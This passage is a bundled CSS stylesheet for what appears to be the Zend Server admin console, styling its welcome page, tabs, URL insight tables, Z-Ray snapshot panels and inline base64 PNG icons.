    margin-left: -20px;
    top: 50%;
    margin-top: -20px;
    height: 100%;
}

body.deployment-not-supported #welcome-page .deploy-link {
    opacity: 0.3;
    position: relative;
    text-decoration:none;
    cursor: default;
}

#apps-logos .logos {
    margin-top: 10px;
    display: inline-block;
    vertical-align: middle;
}
/* WHATS NEW BAR */

#whats-new .content {
    background: #F6F6F6;
    display: block;
    text-align: center;
    /* max-height: 0; */
    overflow: hidden;
	/* Set our transitions up. */
    -webkit-transition: max-height 0.8s,padding 0.8s;
    -moz-transition: max-height 0.8s,padding 0.8s;
    transition: max-height 0.8s,padding 0.8s;
}

#whats-new.open .content {
    /* max-height: 1000px; */
    padding: 20px 0 0;
}

#whats-new .bottom {
    position: relative;
}

#whats-new .bottom .bar {
    background: #fbb65b;
    height: 5px;
    border-bottom: 2px solid #b26400;
}

#whats-new .whats-new-title {
    position: absolute;
    top: 5px;
    left: 50%;
    background: url(/ZendServer/images/welcome/whatsnew.png) no-repeat;
    height: 37px;
    width: 226px;
    margin-left: -113px;
    text-align: center;
    color: #fff;
    text-transform: uppercase;
    font-weight: 600;
    font-size: 16px;
    line-height: 16px;
    cursor: pointer;
}

#whats-new .content h3 {
    font-size: 25px;
    font-weight: normal;
    padding: 5px 0 0;
}

#whats-new .content a {
    color: #49A8C6;
    font-size: 16px;
}

#whats-new a {
    text-decoration: none;
}

#whats-new .content header {
    margin-bottom: 20px;
}
#whats-new .content .clip:hover img.thumb {
	/* opacity:1; */
}

#whats-new .content .clip img.thumb {
	/* opacity:0.7; */
	/* transition: all 0.5s; */
	width: 145px;
	height: 145px;
	/* margin: 15px 0; */
	box-shadow: 0 0 10px rgba(0, 0, 0, 0.10);
	border: 3px solid #FFF;
	border-radius: 50%;
	position: absolute;
	left: 50%;
	margin-left: -75px;
}

#whats-new .content .clip {
    width: 33%;
    display: inline-block;
    vertical-align: middle;
}

#whats-new .content .clip .frame {
    width: 300px;
    margin: 0 auto;
}

#whats-new .content .clip h4 {
    color: #49A8C6;
    font-size: 18px;
    line-height: 28px;
    font-weight: bold;
}

#whats-new .content .clip .desc {
    color: #838383;
    font-size: 12px;
    height: 115px;
}

#whats-new .content .clip a.learn-more {
    background: #FFFFFF;
    padding: 2px 20px;
    margin: 10px 0;
    display: inline-block;
    color: inherit;
    font-size: 14px;
    display: none;
}

#whats-new .whats-new-title span.opened,
#whats-new.open .whats-new-title span.closed {
    display: none;
}

#whats-new.open .content,
#whats-new.open .whats-new-title span.opened {
    display: block;
}

a.disabled {
    cursor: default;
}

#welcome-page section:not(#whats-new) {
    /* padding-left: 20px; */
    /* padding-right: 20px; */
}

#welcome-page section#welcome_cd #cd-pc img {
    width: 120px;
}
#welcome-page .clips .circle-wrapper {
    margin: 15px 0;
    position: relative;
    width: 151px;
    height: 151px;
    display: inline-block;
}
#welcome-page .display-checkbox:hover{
	opacity:1;
}
#welcome-page .display-checkbox{
	margin: 0 0 15px;
	opacity: 0.7;
	transition: all 0.3s;
	text-align: right;
	}

#welcome-page #intro-zs-pc {
    position: absolute;
    top: 45px;
    right: 0;
}

#welcome_blue h2 {
    display: block;
    background: #FFAE46;
    font-size: 26px;
    text-align: center;
    color: white;
    padding: 5px;
}

#welcome-page #welcome_cd .container {
    background: whitesmoke;
    border: 1px solid #B2B2B2;
    margin-bottom: 15px;
}

#welcome-page #welcome_blue .container>div.whatsNewSectionDiv {
	width: 95%; 
    text-align: center; 
    border-top: 1px solid rgba(255, 255, 255, 0.37); 
    padding-top: 20px; 
    margin: auto; 
    display: block; 
}

#welcome-page #welcome_blue .container>div p.whatsNewSection {
	width: 100%;
	text-align: left;
    display: inline-block;
    box-sizing: border-box;
    color: white;
    vertical-align: top;
}

#welcome-page #welcome_blue .container>div h3.whatsNewSectionTitle {
	text-align: left;
	text-align: center;
}

#welcome-page #welcome_blue .container>div h3.spaceUnder {
	padding-bottom: 17px;
}

#welcome-page #welcome_blue .container>div {
    width: 33.33%;
    display: inline-block;
    text-align: center;
    padding: 5px 40px;
    box-sizing: border-box;
    color: white;
    vertical-align: top;
}

#welcome-page #welcome_blue .container>div h3 {
    font-size: 18px;
}

#welcome-page #welcome_blue .container>div p {
    text-align: justify;
}

@media (max-width: 1440px) {
    .container {
        min-width: 1000px;
    }

    #welcome-page .container {
        width: 1000px;
    }

    #main-container.super-container {
        min-width: 1000px;
    }


    #welcome-page section#welcome_cd .cd {
        width: 500px;
    }

    #welcome-page .whats-new-center {
        width: 1000px;
    }

    #welcome-page section#welcome_whats-new .whats-new-box>nav {
        width: 230px;
    }

    #welcome-page section#welcome_whats-new .whats-new-box .content {
        width: 760px;
    }

    #welcome-page #intro-zs-pc  {
        top: 30px;
    }

    #welcome-page footer h2 {
        padding-bottom: 20px;
    }
}

#welcome-page .display-checkbox>* {
    vertical-align: middle;
}

#welcome_blue .container a {
    text-decoration: none;
    color: white;
}

@CHARSET "UTF-8";

.z-row {
    display: block;
    width: 100%;
    overflow: hidden;
    box-sizing: border-box;
}

.z-col-1,.z-col-2,.z-col-3,.z-col-4,.z-col-5,.z-col-6,.z-col-7,.z-col-8,.z-col-9,.z-col-10,.z-col-11,.z-col-12 {
    box-sizing: border-box;
    padding: 0 5px;
    float: left;
    overflow: hidden;
}

.z-col-1 {
    width: 8.33%;
}

.z-col-2 {
    width: 16.66%;
}

.z-col-3 {
    width: 25%;
}

.z-col-4 {
    width: 33.33%;
}

.z-col-5 {
    width: 41.66%;
}

.z-col-6 {
    width: 50%;
}

.z-col-7 {
    width: 58.33%;
}

.z-col-8 {
    width: 66.66%;
}

.z-col-9 {
    width: 75%;
}

.z-col-10 {
    width: 83.33%;
}

.z-col-11 {
    width: 91.66%;
}

.z-col-12 {
    width: 100%;
}
 
/*********** GENERAL *******************/
.z-measure-unit {
    color: #Aaa;
}

/************* FILTER BAR ***********************/

.z-filter-bar {
    height: 30px;
    line-height: 30px;
    overflow: hidden;
    color: #43AFE0;
    margin-bottom: 20px;
}

.z-filter-bar dl, .z-filter-bar dt, .z-filter-bar dd {
    margin: 0;
    padding: 0;
    line-height: 30px;
}

.z-filter-bar dt, .z-filter-bar dd {
    display: inline-block;
    margin-left: 8px;
}

.z-filter-bar select {
    font-size: 14px;
    height: auto;
    padding: 4px;
    background: #FFF;
    width: auto;
    border: 1px solid #CECECE;
    font-weight: normal;
    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

/************* TABS **********************/

#z-tabs {
    margin: 0;
    margin-top: 5px;
    padding: 0;
    height: 30px;
    box-sizing: border-box;
    color: #2774A0;
}

#z-tabs li {
	/*
	margin-right: 2px;
	padding: 0 10px;
	font-size: 1.1em;
	float: left;
	background: #F5F5F5;
	height: 30px;
	line-height: 30px;
	cursor: pointer;
	*/
    border: 1px solid #FFF;
    font-size: 12px;
    line-height: 20px;
    height: 19px;
    padding: 0px 15px;
    cursor: pointer;
    color: #2E789E;
    display: inline-block;
    margin-right: 5px;
}

#z-tabs li.z-active-tab {
	/*
	background: #E3E3E3;
	font-weight: bold;
	*/
    background: #FFF;
    color: #555;
    border: 1px solid #DDD;
    border-bottom: 1px solid #FFF;
    border-top: 3px solid #52AAC2;
    height: 28px;
    line-height: 28px;
}

#z-under-tabs-bar {
    height: 30px;
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    color: #2774A0;
    margin-bottom: 5px;
}

#z-under-tabs-bar li {
    box-sizing: border-box;
    float: left;
    height: 30px;
    line-height: 30px;
    margin: 0;
    padding-right: 16px;
    font-size: 1.1em;
}

#z-under-tabs-bar li span {
    background: #E3E3E3;
    width: 100%;
    display: block;
    padding-left: 10px;
}

#z-under-tabs-bar li#z-under-tab-urls {
    width: 41.66%;
}

#z-under-tabs-bar li#z-under-tab-url-info {
    width: 16.66%;
}

#z-under-tabs-bar #z-data-header-icon {
    float: right;
    width: 20px;
    height: 20px;
    margin: 5px;
    margin-right: calc(10% - 25px);
    background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuM4zml1AAAANxSURBVDhPdVTZTlNRFL3/oiIt8qQ+qmjiGH3SGB+M8cEYIAxCKSghGhQBE4WgOCCdIVWoAwFKq4ADCogiIIOUtrS9E37Gcu99C2jEk5yce889e+219l7nKluNybkV1AVHcKw5BHuVHzlOD/KuBnC86RWuB9/j0/wKskf/P5YTSZS5h5FX6cPOKh92VHfB5qDV4cfOai9yHZ2yx+Dl7jASCX1r0G+LKzh4+zm2ERO704tdNX5ceNCP5hef8SjyFc0vP+BC+xDyGawqALvDhQMNIcwtxf4GXEymUNDwTFjkOH0o7gjjeywFXdetaWq0mljTdMwsJXC5Y0jOMvuCxl7EEplNwFJXlD4EsKPKi1uhz9AMAtAyUE0DpqHB0ExoBKYbaWiaBdwYekcxHmLoQYknYoGNzS5LBjtlKuyMEsgv6CoHWKw0zRBwBlVVFdeCo+ibWIBhrKHocRTbnQGJH6OmKVe730uG/Go/SUtK4PpkWcxK11UBKnoaFXkVvhFhOLOchJ1qy3vXgsNQjjb1SrfOt4cpWJVAwzCyzEykdQ3Ti8sockWkFBcfhpHOGHRGo4Qqzj8cgK3SLTZScmtIInWwoXcUqrYGU1/D1GIc7rfTcEencLZtQGzBHeTCq2mSSwkMZk1J63s/INfpl+4rrJdptvV/sljRZBvwPnc219m18TwfXxX569J5tg5OIsfhlTPKnrpukXnz2ceNWi3FMxicmEd48gdKOsPCqrAjsvGdm8El4Cbc6uGu+rC3lpidaH4pHTnd0ifUuXu8bniM66ZmsnsWI5ankXX4PUGy44k0YqkUFL5r3E2e47Mxykz0yR4Myr5aB2FGqmnVlJNIYtoT+8hqQhmfj1vOJylnWgaRkmBVDlgB2Q5nZ13wndzfMndE1nLXG1R4h0SyGPeK941V7Eovit1R8ZQ4PssgQ8Dr4IHRGakR19kminw4da9v8zr9TGVwqLFHbgHLPXn3NSJf5iQby7UKbrGNTi1gd223gLDveG0fGP/7ss/GVnGEjMeesTkCsNV4sK/+Obn+LWq7R1HqGsJhMrjYwGGBMTO2zgL9FLIwmyO5qlHgCPJrLLuIWVm+wy1B/CNg5mynGz1jcu5c2+t/gf4cC7EE7g9M4BJdnaNNIeyvD+HUnRBKqOD+4WmsJi3Jrf3jeBKdzIIpym9Bv7YjwQcHmAAAAABJRU5ErkJggg==) left top no-repeat;
}

#z-under-tabs-bar #z-data-header-icon.z-pie {
    background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2RpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo2MUVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpGNTgzNUE4Mjc5NjMxMUU0ODUzOTkzQUJGMTExNkUxRSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpGNTgzNUE4MTc5NjMxMUU0ODUzOTkzQUJGMTExNkUxRSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1IFdpbmRvd3MiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2MkVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2MUVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PpQFS5IAAANmSURBVHjadFTfS1RBFP5m7l1b119pq7hlm6WrFmZkkUiEREFPQY89VRT1UL0H/QUFQS9B1EO9RkEEUVBhVhARWaauuf4qXHdT23LX1F11753pnPEHKTrscufOfN93zvnm3LGxxvjwtU8/+zaC9mgS0d9p+At8yM0Bthb60BAsxuFQKXbXhcRq3oqF3oFBffvdD7T2xOFIQEkLtutCwzVzITSUK+G1LRzfXY6zzTWorgoua9hLk0/hPn3xYTuiyTlssDQ8UqKxogi7AiUYVwqzcy5+jKeQmJpBelrhcWcc7bEkOiJDem9dlVjOLDz4XV9+8BHjJESBcbS6FOdadqIsz2MCXfscg9LazIs8EkMjExiIT2A+46B8Uy5unWzCrh2VwmR2500/RlNZKCrj1IEQTjdvg1BcmoCtFTQJcVSWm8wq+Ms3orTQi9efhxFLZnD3bZ8JJN919OqXkTFYRDpSG8CZpioIl2jCglTklpIGqFcb7fOivqKUNiRehEfxvqtfy+c9Y7SjYFkC5w9V054DTXNNDLIOZN0Kof9HZchPwg5VpEgwDtkxkiA/LOwJ+hHweSAoQ0kQqhhZEnXF2kIcIO0o7A9tJoxNbTQBOZxKw0OEujIvsvCQkMcISFKzFpXEGkJLz0BJPvmr8Ws6Q/66MAYXeHNIILsItJaJ7Nt6ZfKYsaXxe2pWwy7w2pjMuJicoVMT0hCN8WQsTfiHq/u2m8YVMktZ2AZnMhYC999HyGeBwhwBWZafa146R5OGSG4av7jb+UnxVgnB+MrV0OeAr/G/ZIukVsmH3B8soTQdhH9OYPjPDGXjLggYlmNOizPgNdeyzDrPGcd45jGfdeSx+i2QWhrAzbZBONxXYp7A2mSiTLoOvVL7qKxZ533GMZ55zDc6BxtqxLH6AAEUwrEEbrzqgWI+B+BTJRKXodgnvfDnfcYxnnnMZx3j5IWWWlQU59JpCrT2/sSlR1/QE09QeRa1s6Bm0cYnTprXeZ9xjGce81e0EH/9V558QfRPmoLRsu3A7/Ohnm6NYp9FRz+HSGIasdQ0VU2eUrnBTT5cP9GIFbfG0hgciup7H/rxtHsMs44LaSljuKRTg8yhdnFMmevdZ2t+LN2RAd02kEAX3bQjf9PI0HkUeYFt/o2oKctb96b9J8AANJKguO04VjUAAAAASUVORK5CYII=');
    background-position: left top 1px;
}

#z-under-tabs-bar #z-data-header-icon.z-stopper {
    background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAAWCAYAAAAinad/AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2RpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo2M0VEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpBMkEzQUMxQTc5NjAxMUU0OTZBM0ExQzYwQTZEMEQ0RiIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpBMkEzQUMxOTc5NjAxMUU0OTZBM0ExQzYwQTZEMEQ0RiIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M1IFdpbmRvd3MiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo2NEVEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo2M0VEQkQ1NDVGNzlFNDExOTMyM0Q3NzA1QzA0NURGNyIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PpGPyYMAAAP7SURBVHjarFRNbFtFEP5237PrvDQuDnbAJbUqEscGJUYERFShKmlArXpAgkMPXAIClQNEXIrEgQvcilSEOLWnIpCQEFyKEK3aqESESlGhbZrGcWI7hdZ2/uokTtLGTuL33jKzphVVIk5dS963u/N9M/PN7AqlFB7VEP9H1vbRt9sdisyJvm3tJR7hMIUQWzaHr6fVL6n8toA3X4ioS2MZ7E/ERPTYN/cjF9kv3sJDTBPZKXVy6G9cHJ+GTTG7aqsjGJK0qeJw/AmcTS3gv2Tm/dWfybR6/4cryJU2sMNQ8EiJzuYAng03wl/vxWq5jNRsGSO5RWwoEwOpWewO7MJXb3TgyOnLNUb+S079pfq/v4x5InIooldbQ3i3+xk01Xv+VZaycQ0YysXc3XWcupTF75k7cAkdbrRw6shLiEf3CkNHnjj86WjhLhzhoq8riv7eGHaajCcC1Ig4YyWrsLwedLeFCWVjdLqESnkTxco6/vjpu8/k0MiEujA5p72+Egvj7a4WCIcIyI90FRxXwpUuDOHApbBPUlRX80vo2xdHb8tubEpOeR5DVDR5dnyOvJCxIXB0fyt5t6HomyMh6ah3BAnuwiYHx89P4MzVPH7LzMN1bRztaYWXJGAVzqVykCP5IlXNwHORIMKWRwNrBKC0JaoU0fxKGccHUviVdOp6OoQPe+Kg+iDY4EFnpJHyd6gwyzBvL5fhoV6LN/lQhUeXt7B8D8mZVQrYwfn0HdJmAYp064kG8cnBdgrZBasviTEaasCVW0solMowiRR8pRp8XkhRZbkxmJ7B18O3dKqSSqA/qDj9B2IQHiIhHZWwwcZ+awel7KJKNmaDz8RKxcHKmksGUpO91rEX7dRfgnI9lyzgQnoRvdQuj1neWj9JhwIwwbfn3lpFz34vkTXtrMPyxhpGZ0vkkUshsMtHGu4JaGCiOYhjB6swJfUc6clDURSKfqzv9elVrW3IXw/5IgloKJs0WsLtxTXKi7ySckqnZmsAE/HM6xqRqe3YnnGMZx55qP0pKq3UBl8OTsEmPSA2ddcL19Q9xg3KM691H9A527E94xiveV5OtIlD7WEtcLJQxImBcRKUc5G1AhCI06iJXtvnc7Zje8Yxnnn0e/ZedwzNgTqqpsDFiRl88OM1jE8XSVhDa+gh/zzzmvf5nO3YnnGMf3DReYxM3lQfn7mG3GKZnNG2aSNoWbqqActAqewgObuEBXo9YJOmlG7kcQufv96J5+Mt4iEyHlM3c+r0cAY/j81h3XYgqTlZcEnN60pDtwrfT59pUPs8iXf2taG1JfKAQ2z3mo5NZtVgtogbuRLyq2VUqB511GJ7/BYSkQAOREPoiEe3YP8RYAC8B82Cl4Z7iwAAAABJRU5ErkJggg==');
    background-position: left top;
    height: 22px;
    margin-top: 3px;
}

#z-under-tabs-bar #z-data-header-icon.z-abacus {
    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAASCAYAAACuLnWgAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuM4zml1AAAAJLSURBVEhLndXJS1VhGMfxa2YXNdMGo6BWQUYatYqICsRECBqpyE0gtKpNQgvLEiutKAh0IUGFNlA0QdFAA9FA0lwUjcugZdCfcPp+L+eF0+Ucurb4cO5zhvc5w+99b65uY3ce83AN39CLBTiPrziMJpzCdxzHTExCbQnyNtmEHziDJbDRb5zFXLzDL5yDx9/jLTz/Ai7iUry1lvUVXMVamyzHPTxAN17Fv29gOx7B4zexG28whF3oirk//A61Y+3DUpuoCn24hQ1xvQc280kr4/oOtiIXRVHJQhOVoSZRj4PvNFn7HQp12mBZwgBjljZYluSF07EIExL70kzBQlQ7ANs6eF2hTuNJ5WjEZXyCH24yJsLX51bVmIPT+ID9aMAJfMFRzIDneV2I+F8Rdl604jMew4i6T8bSSDuYqVsGo/0Tt9GM0XjfMIy71xjhdTZZCVNkRHfCCeiJxu8ADqIfe2GDh+iE8+UuvNb6Bbwh49sDn9RrV9hEvucjeIIOjEc4luRrs/FTbIOvw/nwDDuQz/omgR98WqLOUgHPK3OA4jpN8QAlSxssS+oA/2By5qPwatiaJhfYyrh2dXDNK9T/08S5dBKmzGDMxiBMpB96Fo7hNQZQG5pshnPE2JkOoxtYu38ELvVG1MiuwnM4r0zlatzHRxj/9fH2Jdps0gIn0iGYHO/IrbWLpr/9jzHCDmRk18DV2kFcVLfA1dpJakLb4by5jsU2cWF08XPmuw2Ka8+bCm/IJ3Kpr4c34RO4UjjLvRmf0rlSFUVR7g9af5lbG/tH3gAAAABJRU5ErkJggg==);
    background-position: left top 1px;
}

#z-full-url {
    margin: 50px 0 0 5px;
}

#z-full-url strong {
    color: #43AFE0;
}

#z-full-url-url {
    color: #48A9C5;
    text-decoration: none;
    background: transparent url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAARCAYAAADZsVyDAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuNBKCAvMAAABqSURBVDhPY8AG1EsW/KcUQ41CBSCJT58+kY3xGvzv37//5AC4wSACG6aKwcjg7t27owZDwKjBcAAzmFKM1WBS8JUrV8AGAV3KB8QcQMwIxAIYBpMKHjx4AHEhOhg1GA5AgtTAUOOggIEBAHlDk6i5ghoGAAAAAElFTkSuQmCC') left top no-repeat;
    display: block;
    overflow: hidden;
    text-overflow: ellipsis;
    height: 18px;
    line-height: 18px;
    padding-left: 27px;
 /* 22px; */
    vertical-align: top;
    white-space: nowrap;
    margin-top: 10px;
}

/************* URLS TABLES **********************/
#z-content-area {
    position: relative;
}

#z-content-area-curtain {
    background: #FFF;
    width: 100%;
    left: 0;
    position: absolute;
    top: 0;
    text-align: center;
    color: #000;
    font-size: 36px;
    opacity: 0.85;
}

.z-table, .z-table tr, .z-table td, .z-table th {
    border: 0;
    padding: 0;
    white-space: nowrap;
}

.z-table {
    table-layout: fixed;
    width: 100%;
}

.z-table th, .z-table td {
    padding: 5px 10px;
    overflow: hidden;
    text-overflow: ellipsis;
}

.z-table tbody tr td:nth-child(2) {
    border-left: 1px solid #EEEEEE;
    color: #2774A0;
    text-align: center;
}

.z-table tbody tr:nth-child(odd) {
    background: #F6F6F6;
}

.z-table tbody tr[class!='urlinsight-empty-data-row']:hover {
    background: #E2E2E2;
    cursor: pointer;
}

.z-table tbody tr.z-active {
    background: #E2E2E2;
}

#z-url-trend {
    /*height: 300px;*/
}
#z-url-trend-dummy-image {
    height: 300px;
	background: transparent url(/ZendServer/images/urlinsight/urlinsight_graph_demo.jpg) left top no-repeat;
	width: 100%;
	opacity: 0.1;
}

.z-info-table {
    width: auto;
}

.z-info-table tr {
    border-bottom: 1px solid #E3E3E3;
}

.z-info-table th, .z-info-table td {
    border: 0;
    padding: 5px;
    font-weight: normal;
}


/*************** Graph *****************/

.z-empty-container, .z-empty-container-curtain, .z-empty-container-curtain-text {
    width: 931px;
    height: 300px;
    line-height: 300px;
}

.z-empty-container {
    background: transparent url(/ZendServer/images/urlinsight/urlinsight_graph_demo.jpg) left top no-repeat;
}

.z-empty-container-curtain {
    position: absolute;
    z-index: 1;
    background: #FFF;
    opacity: 0.9;
}

.z-empty-container-curtain-text {
    position: absolute;
    z-index: 2;
    color: #000;
    font-size: 1.2em;
    font-weight: bold;
    text-align: center;
}


/*************** ZRAY SNAPSHOTS *****************/

.z-zray-snapshot {
    margin-top: 10px;
    border-top: 1px solid #EEE;
    padding-top: 10px;
    height: 530px;
    position: relative;
}

.z-zray-snapshot h2 {
	margin: 5px 0;
    font-size: 18px;
    font-weight: normal;
    color: #43AFE0;
    padding: 0 10px;
    display: inline-block;
	vertical-align: top;
}

.z-zray-snapshot-curtain,
.z-zray-snapshot-curtain-text {
    display: none;
    position: absolute;
    width: 100%;
    height: 530px;
    left: 0;
    top: 0;
}

.z-zray-snapshot-curtain {
    background: #FFF;
    opacity: 0.8;
    z-index: 1;
}

.z-zray-snapshot-curtain-text {
    color: #000;
    font-size: 40px;
    line-height: 530px;
    text-align: center;
    z-index: 2;
}

.z-zray-snapshot iframe {
    height: 430px;
    width: 100%;
    border-bottom: 1px solid #DDD;
    overflow: hidden;
}

#z-ray-snapshots-list {
    margin-left: 0;
    padding-left: 0;
    display: inline;
}

#z-ray-snapshots-list li {
    display: inline-block;
}

#z-ray-snapshots-list li a {
    padding: 2px 15px;
    cursor: pointer;
    font-size: 13px;
    color: #000;
    white-space: nowrap;
    display: inline-block;
    margin: 5px 0;
    border-right: 1px solid #78C1EA;
}

#z-ray-snapshots-list li:first-child a {
    border-left: 1px solid #78C1EA;
}
#z-ray-snapshots-list li:last-child a {
	border-right: 0;
}

#z-ray-snapshots-list li a.z-active,
#z-ray-snapshots-list li a:hover {
    text-decoration: none;
    color: #48A9C5;
}

#z-tabs-wrapper {
    padding: 10px;
    border: 1px solid #DDD;
}


/**************************** new URL insight ********************************/

/* General/Wrapper */
.urlinsight-wrapper {
    box-sizing: border-box;
    overflow: auto;
}

.urlinsight-wrapper table {
    width: 100%;
}

.urlinsight-wrapper h2 {
    height: 25px;
    line-height: 25px;
    font-weight: bold;
    padding: 0 10px;
    background: #D6E7EC;
    border: 1px solid #C6D7DC;
    margin-bottom: 10px;
    border-radius: 5px;
}

.urlinsight-wrapper h3 {
    padding: 10px 0;
    font-size: 1.2em;
}

/* panels */
.urlinsight-wrapper .urlinsight-panel { 
    float: left;
    min-height: 100px;
    border: 1px solid #EEE;
    box-sizing: border-box;
    overflow: hidden;
    padding: 10px;
}

.urlinsight-wrapper .urlinsight-panel.urlinsight-panel-requests { 
    width: 35%;
}

.urlinsight-wrapper .urlinsight-panel.urlinsight-panel-info { 
    width: 64%;
}

/* tabs */
.urlinsight-wrapper ul.urlinsight-tabs {
    display: block;
    padding: 0;
    margin: 0;
    overflow: hidden;
}
.urlinsight-wrapper .urlinsight-tabs li {
    float: left;
    height: 25px;
    line-height: 25px;
    text-align: center;
    padding: 0 10px;
    background: #EEE;
    border: 1px solid #DDD;
    border-radius: 5px;
    margin-right: 10px;
    margin-bottom: 10px;
}

.urlinsight-wrapper .urlinsight-tabs li a {
    text-decoration: none;
    color: inherit;
}

.urlinsight-wrapper .urlinsight-tabs li:hover {
    background: #DDD;
}

.urlinsight-wrapper .urlinsight-tabs li.urlinsight-active-tab {
    background: #DDD;
    color: #2774A0;
}

.urlinsight-url-host {
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}
.z-percentage-line {
    position: absolute;
    width: 143%; /* 100% of the <tr> */
    height: 4px;
    background: #2774A0;
    bottom: 0;
    left: 0;
}   

@CHARSET "UTF-8";

.z-filter-bar {
    margin-top: 20px;
}

.dc-insights-na-inline, .dc-insights-new-inline {
	overflow: hidden;
}

ul.dc-insights-na-inline ul.dc-insights-new-inline {
	padding: 0;
	margin: 0;
	overflow: hidden;
	border-radius: 3px;
	margin-left: 93px;
	margin-top: 50px;
}

ul.dc-insights-na-inline li, ul.dc-insights-new-inline li {
    float: left;
	width: 19%;
    padding: 10px;
	box-sizing: border-box;
	background: #E3E3E3;
	margin-right: 8px;
}

ul.dc-insights-na-inline li.dcNA {
    width: 330px;
}

ul.dc-insights-na-inline li.dcWhatis {
    width: 280px;
}

ul.dc-insights-na-inline li.dcPricing {
    width: 240px;
}

ul.dc-insights-new-inline li.dcWelcome {
    width: 275px;
}
ul.dc-insights-new-inline li.dcWhatisNew {
    width: 258px;
}
ul.dc-insights-new-inline li.dcWhitePaper {
    width: 280px;
}

ul.dc-insights-new-inline li.dcAPI {
    width: 258px;
}

#dc-auto-refresh-checkbox {	
	vertical-align: middle;
}

ul.dc-insights-list-inline {
	width: 100%;
	padding: 0;
	margin: 0;
    background: #E3E3E3;
	overflow: hidden;
	border-radius: 3px;
}

